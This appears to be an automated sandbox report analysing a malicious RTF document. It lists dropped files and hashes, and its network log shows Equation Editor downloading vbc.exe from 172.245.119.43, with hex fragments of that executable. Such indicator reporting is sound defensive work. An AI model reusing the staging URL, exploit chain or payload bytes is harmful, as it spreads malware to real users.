SHA-256:	389A07403467A115C9A4428EBDFA68808688E026AF9AEBBCE5E488739A9A039F
SHA-512:	B78F3C81E20FCA2E9CED150722BEEC00A3359F5358E2766703204B7D4B6835944317DC60143982843B7F95B732E53615C51FD40AD9023FE6C31C078F54B08F05
Malicious:	false
Preview:	L..................F.... ...vT%.....vT%......H.......\...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......S....user.8......QK.X.S.....&=....U...............A.l.b.u.s.....z.1.....;T....Desktop.d......QK.X;T....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....f.2..\..;T.. .A3HAMZ~1.RTF..J......;T..;T...........................A.3.h.a.m.z.f.U.k.W...r.t.f.......x...............-...8...[............?J......C:\Users\..#...................\\960781\Users.user\Desktop\A3hamzfUkW.rtf.%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.A.3.h.a.m.z.f.U.k.W...r.t.f.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......960781..........D_....3N...W...9..g............[D_....3N...W...9..g...

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.798145057407475
Encrypted:	false
SSDEEP:	3:bDuMJl8WNup6YCmxWvfvp6YCv:bC6mzyfxzs
MD5:	AD7FCF7B5B0805821E5DD04A67240FBE
SHA1:	6715A52BE5339CA996A68A88563FE047D0F119D7
SHA-256:	3C86A616B2B27D891E0B7D0C7CF4916B42B179C36201A4D8328CF56499558F68
SHA-512:	851D82CD218CE096275E993C1FB73FA1A2662D98B6184929EC5CC5A10D940D3C9C1541CA929C72506DEA32AC2F14DB9A85F9BB917CD1A0267E13B747315F9D0D
Malicious:	false
Preview:	[folders]..Templates.LNK=0..A3hamzfUkW.LNK=0..[misc]..A3hamzfUkW.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.5038355507075254
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l
MD5:	45B1E2B14BE6C1EFC217DCE28709F72D
SHA1:	64E3E91D6557D176776A498CF0776BE3679F13C3
SHA-256:	508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6
SHA-512:	2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\Desktop\~$hamzfUkW.rtf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.5038355507075254
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyEGlBsB2q/WWqlFGa1/ln:vdsCkWtYlqAHR9l
MD5:	45B1E2B14BE6C1EFC217DCE28709F72D
SHA1:	64E3E91D6557D176776A498CF0776BE3679F13C3
SHA-256:	508D8C67A6B3A7B24641F8DEEBFB484B12CFDAFD23956791176D6699C97978E6
SHA-512:	2EB6C22095EFBC366D213220CB22916B11B1234C18BBCD5457AB811BE0E3C74A2564F56C6835E00A0C245DF964ADE3697EFA4E730D66CC43C1C903975F6225C0
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\Public\vbc.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	96040
Entropy (8bit):	7.527902229290847
Encrypted:	false
SSDEEP:	1536:4/T2X/jN2vxZz0DTHUpouZZbJKDvTIz0u6zPEi+ctYyNv7F3oH8k29xE+1FC56:4bG7N2kDTHUpouZZbJKDM96wi+ctYU7N
MD5:	6EA8ECF670ED24734A3BE72B69BC5FD9
SHA1:	BCEAEF2755D79AB3DACBBF98B42D28BD307DC177
SHA-256:	7667E9078741E3AD3B07F45A2311B4C03A283CF4A060DB8341B91999FD0E8709
SHA-512:	332A74A4491436FBDD502FB8AB64F7D75CFDF9232F749E5C4C243A62A4B3B4BE99EE0B57F6326B3D242719001ADA64B4F43C563C89822381E9FC0EE21294ADEE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j..........-5............@.................................e.....@.............................................(............b...............................................................................................text....h.......j.................. ..`.rdata...............n..............@..@.data...............................@....ndata...`...`...........................rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Rich Text Format data, unknown version
Entropy (8bit):	4.651109750860811
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	A3hamzfUkW.rtf
File size:	23753
MD5:	30e90b61102da9d9132f6ccbfd286b73
SHA1:	949578725228909ffff575b8e2a7b397e6097585
SHA256:	084f59705fb0a98883454b511a2939f6ed91e9c04b7a2d7f8cb13ec834ec5215
SHA512:	8419f7a1581d862a7b17328da59ef3093473f1cb09fffa1abad12c4abcb668b373645f1e8539f22d4fdb62983e3867da73d8cbf4f3f9458f169d1755436caa03
SSDEEP:	384:mclEQg51J0ueRkFia4w686BuAuO8IYQ5sM+JNeG9HDFAdJY7:mc6Wpna4w686BuAuOFLNUeGhDKdJo
File Content Preview:	{\rtf6644.5$).8@@+?-+.&.&:5-8\|?,4:&2%2.6!<5..&#:6'8[%_7?6-^,1?@7?.7;-?.\|-2?%>.(.$_=-7)(\|:??,51==0&?59..=4<.$,$[$?.8?9?<~%\|.7~.>=?`045$.?7>9=~(%2>&=7@3?+#/(.(<]=-;/;%_?\|$<01/.\|,??'0]?</,../.[>'%))1?.<[?658+#-?\|+2/\|<.\|~&7?-?]$0..%>*<,.-7~4;~^^0::?.?2?

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	00001793h								no
1	00001738h								no

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2022 10:45:44.029140949 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.144798994 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.144865990 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.145282984 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.261739969 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261764050 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261782885 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261799097 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261814117 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261830091 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261846066 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261872053 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261888981 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261894941 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.261904001 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.261923075 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.261926889 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.261929035 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.262329102 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.275983095 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375817060 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375849009 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375868082 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375885010 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375895023 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375901937 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375917912 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375921011 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375921965 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375940084 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375941038 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375956059 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375957966 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375972033 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375977039 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.375989914 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.375994921 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376010895 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376013041 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376027107 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376029015 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376045942 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376046896 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376060963 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376064062 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376079082 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376082897 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376096964 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376099110 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376115084 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376116991 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376135111 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376147032 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376151085 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376168013 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.376168013 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376183033 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.376200914 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.378350019 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490067005 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490103006 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490118027 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490130901 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490149021 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490160942 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490178108 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490195036 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490211964 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490228891 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490241051 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490253925 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490271091 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490282059 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490288019 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490307093 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490307093 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490312099 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490320921 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490326881 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490344048 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490345001 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490359068 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490364075 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490375996 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490381956 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490391970 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490401983 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490417004 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490422010 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490432978 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490439892 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490458012 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490461111 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490473986 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490473986 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490490913 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490494967 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490509987 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490513086 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490526915 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490526915 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490541935 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490545034 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490560055 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490561962 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490573883 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490578890 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490590096 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490596056 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490612984 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490613937 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490628004 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490629911 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490645885 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490648985 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490665913 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490679979 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490681887 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.490695000 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.490711927 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.492269993 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.492297888 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.492311954 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.492324114 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.492382050 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.492944002 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.604808092 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.604859114 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.604883909 CET	80	49167	172.245.119.43	192.168.2.22
Jan 27, 2022 10:45:44.604885101 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.604906082 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:44.604918957 CET	49167	80	192.168.2.22	172.245.119.43
Jan 27, 2022 10:45:45.593920946 CET	49167	80	192.168.2.22	172.245.119.43

HTTP Request Dependency Graph

172.245.119.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	172.245.119.43	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2022 10:45:44.145282984 CET	0	OUT	GET /2200/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 172.245.119.43 Connection: Keep-Alive
Jan 27, 2022 10:45:44.261739969 CET	1	IN	HTTP/1.1 200 OK Date: Thu, 27 Jan 2022 09:45:44 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 Last-Modified: Tue, 25 Jan 2022 15:51:44 GMT ETag: "17728-5d66a0fd4b996" Accept-Ranges: bytes Content-Length: 96040 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 d0 04 00 00 04 00 00 65 e3 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 86 00 00 a0 00 00 00 00 c0 04 00 28 0e 00 00 00 00 00 00 00 00 00 00 a0 62 01 00 88 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 97 68 00 00 00 10 00 00 00 6a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a6 14 00 00 00 80 00 00 00 16 00 00 00 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 b0 02 00 00 a0 00 00 00 06 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 60 01 00 00 60 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 28 0e 00 00 00 c0 04 00 00 10 00 00 00 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELZOaj-5@e@(b.texthj `.rdatan@@.data@.ndata``.rsrc(@@
Jan 27, 2022 10:45:44.261764050 CET	3	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d 08 4f 43 00 89 48 04 50 ff 75 10 ff 75 0c ff 75 08 ff 15 84 82 40 00 e9 42 01 00 00 53 56 8b 35 10 4f 43 00 8d 45 a4 57 Data Ascii: U\}t+}FEuHOCHPuuu@BSV5OCEWPu@eEEPu@}e`@FRVVU+MM3FQNUMVTUFPEEPM\@EEPEPu
Jan 27, 2022 10:45:44.261782885 CET	4	IN	Data Raw: 00 e9 f9 16 00 00 8b 88 e0 4f 43 00 89 88 80 4f 43 00 e9 e8 16 00 00 8b 45 d8 8d 34 85 80 4f 43 00 33 c0 8b 0e 3b cb 0f 94 c0 23 4d dc 8b 44 85 d0 89 0e e9 d2 16 00 00 8b 45 d4 ff 34 85 80 4f 43 00 57 e9 31 16 00 00 8b 0d d0 3e 43 00 8b 35 50 82 Data Ascii: OCOCE4OC3;#MDE4OCW1>C5P@;tuQE>C;PQjuP@nmjPEH;tZj\VZHf>ff;u9]tEtulDuD;t=uu
Jan 27, 2022 10:45:44.261799097 CET	5	IN	Data Raw: 1f 66 89 9f fe 07 00 00 e9 b8 11 00 00 8b 75 e4 53 e8 09 13 00 00 6a 01 8b f8 89 55 f0 e8 fd 12 00 00 59 3b f3 59 89 55 f0 75 08 3b f8 7c 08 7e 8a eb 12 3b f8 73 08 8b 45 dc e9 91 11 00 00 0f 86 76 ff ff ff 8b 45 e0 e9 83 11 00 00 6a 01 e8 cb 12 Data Ascii: fuSjUY;YUu;\|~;sEvEjjUuYUYE$L-@_+X;tSC#323;;u3;t;t3F;t3E
Jan 27, 2022 10:45:44.261814117 CET	7	IN	Data Raw: ff 75 ac eb 47 53 e8 fc 0d 00 00 8b f0 56 6a eb e8 eb 35 00 00 56 e8 66 3b 00 00 8b f0 3b f3 0f 84 6a 09 00 00 39 5d d8 74 21 56 e8 e6 49 00 00 39 5d d4 7c 0b 50 ff 75 f4 e8 a7 44 00 00 eb 0b 3b c3 74 07 c7 45 fc 01 00 00 00 56 ff 15 24 81 40 00 Data Ascii: uGSVj5Vf;;j9]t!VI9]\|PuD;tEV$@4jPpH;tvupDvQEffjuMEQPjHEf;fEVj@8@;EjHjEHuEVSuUt
Jan 27, 2022 10:45:44.261830091 CET	8	IN	Data Raw: 00 8d 44 00 02 83 fe 04 75 12 6a 03 e8 9a 08 00 00 59 a3 f0 b5 40 00 56 89 55 c8 58 83 fe 03 75 0f 68 00 18 00 00 57 53 ff 75 dc e8 ab 0d 00 00 50 57 ff 75 f0 53 ff 75 bc ff 75 08 ff 15 0c 80 40 00 85 c0 75 03 89 5d fc ff 75 08 e9 d3 00 00 00 68 Data Ascii: DujY@VUXuhWSuPWuSuu@u]uhj3i;fMEQMWQSPV@3Au.}t9Mt}uEEt739]WE>ffM^h>j;YUfn9]Mt
Jan 27, 2022 10:45:44.261846066 CET	10	IN	Data Raw: e8 c7 36 00 00 57 ff 15 34 81 40 00 83 4d c8 ff 53 53 ff 75 08 ff 75 c8 e8 84 08 00 00 ff 75 08 8b f8 ff 15 24 81 40 00 6a f3 3b fb 5e 7d 13 6a ef 5e ff 75 c0 ff 15 70 81 40 00 c7 45 fc 01 00 00 00 56 e9 96 f8 ff ff 53 e8 23 03 00 00 8b f8 59 3b Data Ascii: 6W4@MSSuuu$@j;^}j^up@EVS#Y;=,OCUEi5(OC;\|uVu:Q+MtjYUEuFP:NEM9]JW?S YU09]t"9]
Jan 27, 2022 10:45:44.261872053 CET	11	IN	Data Raw: 74 d0 ff 75 fc ff 15 10 80 40 00 6a 03 e8 ab 39 00 00 85 c0 75 1e ff 75 0c ff 75 08 ff 15 18 80 40 00 eb 1b ff 75 fc ff 15 10 80 40 00 b8 eb 03 00 00 eb 0b 6a 00 56 ff 75 0c ff 75 08 ff d0 5f 5e 5b c9 c2 0c 00 55 8b ec 81 ec 80 00 00 00 81 7d 0c Data Ascii: tu@j9uuu@u@jVuu_^[U}ujhju@@E}uLA$B;rPjdQ@PEh@PT@EPuD@EPhuh+3V39t$t B;tP8@5 B^95 B
Jan 27, 2022 10:45:44.261888981 CET	12	IN	Data Raw: 00 00 00 85 c0 74 2f 56 57 ff 75 0c e8 47 2c 00 00 85 c0 74 c8 01 75 fc 29 75 14 83 7d 14 00 7f cc eb 1b 39 75 14 7d 03 8b 75 14 56 57 e8 16 00 00 00 85 c0 75 05 6a fd 58 eb 06 89 75 fc 8b 45 fc 5f 5e 5b c9 c2 10 00 ff 74 24 08 ff 74 24 08 ff 35 Data Ascii: t/VWuG,tu)u}9u}uVWujXuE_^[t$t$5@+jjt$5@`@V(DV2Vu)u^V(V%Vh D1+^USVWj _3h]E@]@5@P]]
Jan 27, 2022 10:45:44.261904001 CET	14	IN	Data Raw: 78 2b 00 00 0f b7 05 5a a2 40 00 0f b7 0d 58 a2 40 00 c1 e0 10 0b c1 c7 45 f8 1a 00 00 00 a3 00 68 43 00 bf 28 aa 42 00 a1 10 4f 43 00 ff b0 20 01 00 00 57 e8 80 2b 00 00 57 ff 15 70 81 40 00 39 5d fc 74 3e 6a 01 57 68 00 38 44 00 ff 15 e4 80 40 Data Ascii: x+Z@X@EhC(BOC W+Wp@9]t>jWh8D@t,SW(OC$WJ+W ;tP$@]fhCMuSV(3@9]th u'!j@9OCtvEPj(@P$@t/EPh0@S @SSESP
